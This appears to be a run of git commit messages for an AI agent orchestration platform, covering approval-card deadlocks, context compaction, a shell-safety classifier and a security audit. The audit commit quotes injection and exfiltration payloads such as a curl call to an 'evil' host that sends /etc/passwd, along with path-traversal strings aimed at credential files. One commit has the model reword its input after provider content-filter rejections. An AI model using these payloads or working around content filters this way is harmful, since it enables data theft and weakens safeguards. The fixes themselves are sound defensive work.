On Windows, an npm-installed `claude` resolves to a .cmd shim, so
_resolve_launch_command wraps it in `cmd.exe /d /s /c ...`. cmd.exe treats a
newline inside an argument as end-of-command, silently truncating a multiline
prompt at the first line break -- the agent received only the "## Task Brief"
heading and replied that no task was included.
Detect this case in _interactive_prompt_transport and deliver the prompt over
the existing stdin channel instead. The guard requires all three of: nt
platform, a newline in the prompt, and a command that resolves to .cmd/.bat.
It reuses _resolve_windows_command_shim so the check matches the same
resolution logic that decides whether cmd.exe wrapping happens.
Also records prompt_transport_reason in the stdin metadata to distinguish this
trigger from the pre-existing oversized-prompt path.
Verified against the real claude CLI: transport flips to stdin and the CLI
confirms all prompt lines arrive intact.
Cursor-agent puts prompts on argv, so oversized company/report handoffs hit
OS ARG_MAX, crash the card as FAILED, and reconcile kept minting new Report
attempts forever. Spill large Cursor prompts to a workspace file and hold the
report chain after consecutive failures.
A company goal turn can hold the per-task session lock for hours while its
live dispatcher waits on AWAITING_HUMAN approval cards. The card answers are
themselves session messages, so they queued behind that same lock — a
three-way circular wait (dispatcher waits for the answer, the answer waits
for the lock, the lock waits for the dispatcher) that left late approval
clicks recorded but never delivered, and the parked branches wedged forever.
Timely clicks were unaffected because the inline-wait reply path resolves a
future without touching the lock, which is why only late approvals failed.
Three legs, all verified live on a wedged production run:
1. Lock-free answer path (ws_handler): a reply that explicitly targets a
pending task_user_input / company_work_item_gate checkpoint while the
task lock is held by a live turn is delivered straight through the
engine's checkpoint-resume channel. With a live dispatcher the engine
only persists the input, applies the approval decision, releases the
human wait, and wakes the loop — no second dispatcher, no re-entry.
When the lock is free the serialized path is kept unchanged. Failures
surface to the user instead of silently queueing behind the wedge.
2. Approval treadmill: company runtime parks persisted the blocked call
without its arguments, so the OBS-7 decision bridge could not rebuild
the allowlist context — a late approve resumed the task but recorded no
grant, and the identical command re-blocked and re-parked on a fresh
card every cycle. The runtime park artifact now persists tool_args, the
decision bridge falls back to permission_requests when
pause_request.permission_context is absent, and the legacy checkpoint
migration preserves existing permission_requests entries instead of
rebuilding them empty.
3. OPC_ESCALATION_TIMEOUT_SECONDS env override for the inline approval
wait (default unchanged) so harnesses can exercise the expire/park/
late-click cycle in seconds.
Live verification on the wedged run: both stranded cards resumed (the
second through the lock-free path while the first held the lock), a fresh
10s-expiry card answered late resumed within one second, the decision
bridge recorded the grant on reply, and the run converged to delivery.
Regression: 6 new lock-free path tests + 2 decision-bridge tests; full
suite 1932 passed.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
OBS-11 — stop/resume killed pure-native runs over a phantom external pin.
Role templates' preferred_external_agent leaked into execution identity even
when the user requested native and execution actually ran native; on resume
the availability gate trusted the pin and failed every non-terminal item.
Root fixes across the whole chain:
- Staffing card per-role defaults are now the RESOLVED backend (explicit
session agent choice > runnable template preference > native), never a
hardcoded external default; seat enrichment and the dispatch selector's
locked branch downgrade provably unavailable externals to native and
record the wish in execution_agent_unavailable.
- The resume availability gate fails closed only when a resumable external
session actually exists; a bare pin heals to native (snapshot AND task
durable identity) and the run resumes — mirroring dispatch fallback.
- Suspend-checkpoint replies: force_resume (chat/headless spelling) is
recognized alongside ui_force_resume, and bare continuation tokens
(English and Chinese spellings) take the plain-resume path instead of
being routed to the final decider as content, which reopened the
already-approved intake card.
OBS-5 — failed runs never closed and dropped new input. The dispatcher's
convergence exit now settles terminally-failed runs (status=failed,
lifecycle=closed_failed, run_failure metadata) and emits a
company_run_failure_review card whose replies never swallow messages:
dismiss acknowledges, content falls through so normal routing starts a
fresh run. _maybe_resume_existing_company_runtime no longer re-executes a
terminally-failed tree: control replies get an honest closed status,
content-bearing input starts a new run.
OBS-6 — provider quota exhaustion terminally failed work items. Rate-limit
rejections are classified (LLMProvider.is_rate_limit_error, covering
status codes, exception types, and English/Chinese provider error text),
the agent runtime raises typed ProviderQuotaExhaustedError instead of
burning conversation-feedback retries, and the company dispatcher parks:
the item returns to READY (attempt interrupted, no terminal failure), the
member session idles, and claiming backs off exponentially (60s doubling
to a 900s cap; a quiet 30min resets the streak) before resuming
automatically.
Verified end-to-end on the real minimax-m3 campaign: same goal, same 300s
stop point, same run shape that previously killed the whole tree within
90s now resumes cleanly and completes with all items approved; staffing
defaults native for all 11 roles.
Tests: test_stop_resume_native_pin (10), test_run_failure_settlement (6),
test_provider_quota_park (9); attempt-ledger, recruiter, and
suspend-resume suites updated to the new contracts (their old assertions
pinned the defective behaviors).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Align native context management with the Claude Code / Codex model:
entry-capped tool results, history frozen below the threshold, one
high-quality summary at the wall — instead of the old pipeline that
microcompacted old messages from 60% usage and hid everything past 40
messages behind a snip marker with no summary.
- context pipeline: history below the hard threshold is never rewritten
(model quality and prompt-cache prefixes depend on byte-identical old
messages); the 60% tool-aware microcompact and the 40-message history
snip move to an emergency-only fallback used under overflow pressure
when the summarizer is unavailable or circuit-broken.
- durable compaction (was a stub): at usage >= context_guard.hard_threshold
(now 0.90, soft_threshold removed) the old span is folded into a
9-section summary via the new HistoryCompactor.summarize_runtime_history,
keeping the system head, the seed user request verbatim on every round
(injected session-memory/artifact messages shift the stale
base_prefix_len, so the fold start is structure-aware), and a
pairing-safe recent tail. A previous summary stays foldable, so exactly
one summary exists at a time and rounds chain.
- token accounting anchors on the provider-reported prompt size of the
latest request (max with the local estimate).
- reactive_compaction.circuit_breaker_failures (previously unread) now
stops repeated summarizer failures; provider overflow errors retry
through the same pipeline, summary-first.
- tool-result budget clip keeps head and tail instead of tail-chopping.
- chat-side transcripts get the same treatment: new
MemoryManager.maybe_compact_session_history wires the threshold-gated
maybe_compact_session into secretary, office_ui dispatcher, and
context_loader before prompt building, closing the unbounded-growth
path; dead no-op compactor entries (maybe_compact_after_message,
should_compact_prompt) removed.
Verified by 13 new tests (history sanctity below threshold, multi-round
single-summary/seed-verbatim/chain invariants, breaker, emergency
fallback, provider-overflow end-to-end recovery) plus a live-provider
probe: multi-round compaction with the model completing correctly from
summarized context. Full suite: 1859 passed.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
PR #9 broadened token invalidation in two spots that also fired on
non-terminal results, breaking resume continuity for parked runs:
- _persist_session cleared the canonical role token and the task's
resume pin on any result.status != DONE. An approval park
(AWAITING_HUMAN) therefore wiped continuity right before the human
approved, and the retry restarted the external thread from scratch.
Both clears are now gated on _SESSION_INVALIDATING_RESULT_STATUSES
(terminal failures only).
- _stored_provider_token_allows_resume returned False whenever the
newest row for a token was not done/suspended, so a run parked on
approval vetoed its own token at the next restore. The verdict is
now tri-state: terminally failed rows still return False (wipe),
finalized rows return True, and live-but-unfinalized rows return
None (keep the pin) — except provider_stream tokens, which keep the
strict pre-existing rule via strict=True since an unfinalized stream
row may belong to a crashed attempt.
Regression tests: approval park keeps role token and task metadata;
restore keeps a canonical token whose newest row is awaiting_human;
unfinalized provider_stream tokens are still rejected.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Two user-visible defects in company mode, root-caused via project 6666/8888
DB forensics:
Progress-row flicker (thinking preview appearing/disappearing): progress
entries were broadcast to clients before reaching the persistence buffer,
so a tool_call-triggered session_detail snapshot rebuilt from the DB erased
freshly streamed entries from the live log. Buffer now fills before the
broadcast and session_detail flushes it before reading.
Native role transcripts incomplete (thinking only at start, no narration,
no final summary — external agents unaffected):
- thinking deltas shared one stream id per conversation turn while seq
reset per iteration, collapsing all iterations into one entry and
silently dropping live thinking from iteration 2 on; now keyed per
iteration like assistant deltas
- assistant_delta events were mapped to None; company mode now surfaces
them as streaming 'assistant' progress entries (rendered as Reply cards,
merged like thinking, excluded from inline chat rows)
- thinking was persisted one row per token, flooding the 1000-entry cap
and evicting interleaved tool history; append_progress now folds
streaming deltas per (type, turn, stream) with seq dedup
- the terminal company turn was hidden at summary detail and, worse, its
id-keyed backfill merge kept the first-inserted intermediate content, so
the final reply never reached any channel; terminal turns are now
flagged company_final_turn, visible at summary detail, and carry their
own ui_message_id so they insert as fresh rows
- appendProgressEntry applied its seq guard against unrelated entries when
the stream key was absent from the log, killing the first delta of any
fresh stream; the guard now only applies within the same stream
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Project 3333 forensics: env_engineer sent a blocking question to the CTO,
got a full reply 96s later, and still deadlocked the whole run — the
park half (`_park_for_blocking_comms`) had no wired consumer, so
WAITING_FOR_PEER work items could never be released.
Unpark path (root fix):
- The dispatcher loop now calls `_try_unpark_blocking_comms` each tick
for parked, non-in-flight tasks; blocking replies land as durable
inbox files, so the check is read-only until all replies are present.
- `_try_unpark_blocking_comms` accepts orphaned waits (peer_wait
stripped by the legacy resolver while the work item stayed parked)
and falls back to the park predicate itself: an empty unresolved
blocking outbox releases the task, anything pending keeps it parked.
- `resolve_task_peer_wait` no longer touches comms_blocking waits (it
flipped task.status without the work-item phase and stripped the
peer_wait evidence); `_resume_peer_checkpoint` re-enters the company
runtime for comms/orphaned waits and lets the dispatcher converge.
File tools (defaults changed at their declaration sites, honoring the
"empty tools = everything, explicit list = exactly that" contract):
- corporate builtin groups gain file_write/file_edit for coordination,
QA, and data-acquisition roles.
- all shipped org YAML role tool lists gain the missing
file_write/file_edit entries.
- coordination turn modes no longer strip file_write/file_edit at
runtime — in-context content (briefs, matrices) must be persistable
instead of getting trapped in blocking DM hand-offs.
Also includes the pending office_ui ws_handler change from the working
tree.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Collapse the dual permission stack into one policy. The runtime-side
ToolPermissionResolver (own safe lists, own grant memory, bypassed the
ApprovalEngine whenever it said ALLOW) is deleted; runtime_v2 now consults
ApprovalEngine.predict(), a synchronous fast path reading the same config
and the same persisted allowlist as the async authorize pipeline, so a
grant given anywhere is honored everywhere. permissions.py keeps only a
policy-free adapter; the duplicated permissions_v2 config fields and the
runtime grant persistence loop are removed (stale YAML keys are ignored).
New shell_safety module becomes the single source of truth for shell
classification: flag-audited read-only commands (awk/od/jq/sed -n/diff/
git subcommand table/... auto-allow; find -delete, sort -o, curl -o/-d,
rg --pre still prompt even when the bare name is config-listed),
keyword-aware compound splitting (loop/branch headers no longer poison
grants), expansion-safe $() handling, and fail-closed treatment of
anything unparseable or substitution-bearing.
Grant semantics are rebuilt around derived word-boundary prefixes:
"python3 -c" instead of token bags, interpreter -c/-m kept in the prefix,
bash/eval/sudo never grantable as prefixes, read-only segments exempt
from the every-candidate-must-match rule so a granted command chained
with ls/echo verification passes, and approve-once now records the exact
candidates as a session grant so identical re-runs stop re-prompting.
The authorize heuristic also audits the original command text instead of
the quote-dropping preview (echo "<EOF>" no longer reads as redirection).
Validated live on zz_perm_probe1 (native minimal org): awk/od/ls/cat/
sha256sum ran with zero cards, python3 -c parked once and three different
python3 -c commands then passed via the persisted prefix grant, and an
agent-issued rm -f compound correctly re-prompted showing only the
segments needing approval. Full suite failures are byte-identical to the
pre-change HEAD baseline (27 pre-existing).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Approval cards raised by company-mode internal scheduling turns (review/report
work items, session ids like `<root>:review::<wid>::vN`) were posted to the
turn's own session channel, which the UI deliberately hides. The card silently
timed out after 300s and the work item parked on AWAITING_HUMAN, so users saw
only the gate card and never the approval prompt. ws_handler now detects these
internal turns and routes their escalation cards to origin_task_id, the root
session's primary task channel, or the activity channel — never the hidden one.
Also unblocks the previously dead origin/session fallbacks in the resolver.
Unclassified LLM stream failures (e.g. provider content-filter rejections like
"input may contain sensitive information") used to hit a blind truncate-retry
loop that replayed the identical payload for a dozen-plus consecutive failures.
runtime_v2 now feeds the provider's verbatim error text back into the
conversation as a "[runtime notice]" system message so the model can adapt
(rephrase, drop quotes, change tack), bounded at 2 feedback retries (counter
resets on any successful stream) plus one context-reset attempt, then fails
honestly with the real error. The blind truncate path remains only for
classified tool-protocol errors.
Verified: new end-to-end tests for recover-after-notice and bounded-failure;
runtime_v2 + ws_handler + escalation/approval + company-mode suites all green.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Native agent progress panel (company mode):
- ws_handler: filter runtime bookkeeping noise (turn/status/member_inbox_updated),
keep tool_completed as tool_call, thinking summary previews content,
preserve raw thinking_delta fragments (no strip; skip whitespace-only)
- frontend progressLog: summarize thinking by content preview; merge thinking
by detail only so the 'Thinking' label never splices into text
- AgentProgressBlock: add bottom "Show more (N earlier steps)" toggle
ui_state.db "database is locked" hardening:
- ws_handler: isolate engine progress/kanban/runtime-event callbacks so UI
persistence failures never crash work items
- chat_store: busy_timeout, _retry_locked backoff, idempotent insert_message
(INSERT OR REPLACE), create_channel read-before-write to stop poll writes
- server: flock single-instance guard for `opc ui` per OPC home
Approval card duplicate-click bug:
- EscalationPanel: disable buttons on click with Submitting state and 30s
reconnect fallback
- ws_handler: stale-escalation branch checks real card status (new
chat_store.get_checkpoint_message); already-resolved cards get an accurate
"already handled (decision: X)" reply without being re-marked stale;
dedup identical helper messages within 120s to stop reply spam
Company mode prompt:
- add soft guidance that the runtime monitors state and re-activates roles,
so leaders need not poll work items after delegation/review
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Loguru has no exc_info kwarg: extra kwargs are str.format() arguments, so
logger.error(f"...{e}", exc_info=True) forces .format() on the rendered
message — any error text containing braces (e.g. a JSON error body) raises
KeyError FROM the log call itself, escaping the surrounding except block and
killing the caller (observed: whole agent turns dying in benchmark runs).
The intended traceback was also never logged, since exc_info is not a loguru
feature.
Batch fix of all 143 sites across 11 files:
logger.X(msg, exc_info=True) -> logger.opt(exception=True).X(msg)
(one exc_info=exc site -> opt(exception=exc))
Messages are byte-identical; with the kwarg gone loguru never calls
.format(), so brace-containing f-string messages are inert.
Verified: AST post-conditions per file, py_compile, import smoke of all
modules, behavioral equivalence of the 3 patterns, full unit suite (1549
passed) with a failure set identical to the pristine tree (22 pre-existing,
zero regressions).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Also add pixel-agents to the README acknowledgements.
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.
Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
A message like `foo" && rm -rf / #` injected arbitrary commands, and the
approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
`$(curl ...)` was executed. Now shlex-quoted.
Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
manifest) was used directly as a directory name under prompts/market and
passed to mkdir(parents=True) / shutil.rmtree. An id like
`../../projects/<victim>` enabled arbitrary file write and arbitrary
directory deletion. Added _market_prompts_dir() which validates the id
(lowercase alphanumeric + -/_) and confirms the resolved path stays inside
the market base; uninstall validates up front. Prompt-content filenames are
also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
role id/name) flowed unchecked into the path, enabling traversal writes.
Now reduced to a safe path component with a containment check.
Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
auto-approved as LOW risk even when it contained shell command substitution.
`curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
human/LLM review, letting bash exfil data. Added
_command_has_shell_substitution() and gated safe-prefix matching on it.
Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
the `-Command` flag from PowerShell argv (4 elements), silently breaking
every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
JSON array) were silently replaced with `{}` while arguments_parse_error
stayed None, so the tool executed with empty args (todo_write could wipe the
task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
store.initialize() (via _sweep_stale_claims), so a single corrupt row
prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
`.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
outbound dispatch loop and silently stopped all message delivery on every
channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
`data.get` raise AttributeError and drop the whole WS connection. Non-dict
frames are now ignored.
Co-Authored-By: Claude <noreply@anthropic.com>